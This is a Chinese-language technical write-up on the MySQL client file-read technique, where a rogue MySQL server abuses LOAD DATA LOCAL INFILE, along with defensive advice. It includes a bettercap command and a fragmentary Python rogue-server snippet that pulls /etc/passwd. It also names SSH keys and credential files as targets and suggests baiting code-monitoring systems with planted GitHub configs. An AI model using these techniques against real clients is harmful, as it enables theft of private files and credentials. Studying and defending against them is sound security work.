从MySQL出发的反击之路
字数 1292 2025-08-18 11:37:42
MySQL客户端文件读取漏洞分析与利用
漏洞概述
MySQL客户端文件读取漏洞是一种利用MySQL协议特性实现从客户端读取任意文件的安全问题。该漏洞源于MySQL的LOAD DATA INFILE功能,攻击者可以伪造MySQL服务器,诱导客户端发送本地文件内容。
漏洞原理
正常流程
- 客户端发起连接请求
- 服务端响应认证信息
- 客户端发送查询请求
- 服务端返回查询结果
恶意流程
- 客户端发起连接请求
- 攻击者伪造的MySQL服务器响应认证信息
- 客户端发送查询请求
- 攻击者返回
LOAD DATA INFILE请求而非正常查询结果 - 客户端根据响应上传指定文件内容
关键点
- MySQL协议中客户端不存储自身请求,而是通过服务端响应执行操作
- 大多数MySQL客户端在建立连接后会发送查询请求(如查询版本信息)
LOAD DATA INFILE功能设计用于读取客户端文件并导入表中- 攻击者可利用这一特性诱导客户端发送任意文件
漏洞利用工具
Bettercap实现
Bettercap已集成恶意MySQL服务器模块,使用简单:
$ sudo bettercap -eval "set mysql.server.infile /etc/hosts; mysql.server on"
关键代码逻辑:
- 监听3306端口
- 发送伪造的MySQL欢迎包
- 响应客户端查询请求
- 发送
LOAD DATA INFILE请求 - 接收并记录客户端发送的文件内容
Python实现
可使用Twisted框架实现自定义恶意MySQL服务器:
class MySQLProtocol(Protocol):
def connectionMade(self):
# 发送伪造的MySQL欢迎包
mysql_greeting = bytes.fromhex('5b0000000a...')
self.transport.write(mysql_greeting)
def dataReceived(self, data):
if self.state == self.FIRST_RESP:
# 发送第一个响应包
self.transport.write(first_response_ok)
elif self.state == self.FILE_READ:
# 发送读文件请求
filename = '/etc/passwd'
dump_file = chr(len(filename) + 1).encode() + bytes.fromhex('000001fb') + filename.encode()
self.transport.write(dump_file)
elif self.state == self.SECOND_RESP:
# 解析并保存文件内容
file_content = data[4: file_length - 4]
self.logger.info(f'File received: \n{file_content}')
利用场景
-
被动监听:在3306端口运行恶意服务器,等待扫描器或误连接客户端
-
主动诱导:
- 在GitHub上传包含伪造MySQL配置的代码
- 等待企业代码监控系统发现并连接测试
- 获取企业内部文件
-
结合其他漏洞:如AWVS 8和10的命令执行漏洞,增强攻击效果
防御措施
-
客户端配置:
- MySQL客户端默认禁用
LOCAL INFILE功能 - 连接时需显式指定
--enable-local-infile参数
- MySQL客户端默认禁用
-
网络层面:
- 限制出站连接到可信MySQL服务器
- 监控异常MySQL连接行为
-
代码审查:
- 检查配置文件中的数据库连接信息
- 避免在代码中硬编码测试环境配置
技术细节
MySQL协议关键点
- 能力协商:连接建立时客户端和服务端交换支持的功能
- 认证流程:服务端先发送欢迎包,客户端响应认证信息
- 查询流程:客户端发送查询,服务端返回结果或指令
漏洞利用必要条件
- 客户端支持
LOCAL INFILE功能 - 客户端在连接后自动发送查询请求
- 攻击者能拦截或诱导客户端连接到恶意服务器
扩展利用
-
读取特定文件:
/etc/passwd:获取用户信息~/.ssh/id_rsa:获取SSH私钥- 应用配置文件:获取数据库凭证等敏感信息
-
结合其他协议:
- 利用UNC路径读取Windows共享文件
- 结合SMB协议实现NTLM中继攻击
-
高级利用:
- 读取内存内容(需特定条件)
- 结合文件上传实现有限制的RCE
总结
MySQL客户端文件读取漏洞展示了协议设计特性可能被滥用的典型案例。虽然现代MySQL客户端默认禁用相关功能,但在特定配置下仍可能被利用。防御需要客户端和服务端的共同配合,包括禁用不必要功能、监控异常连接等。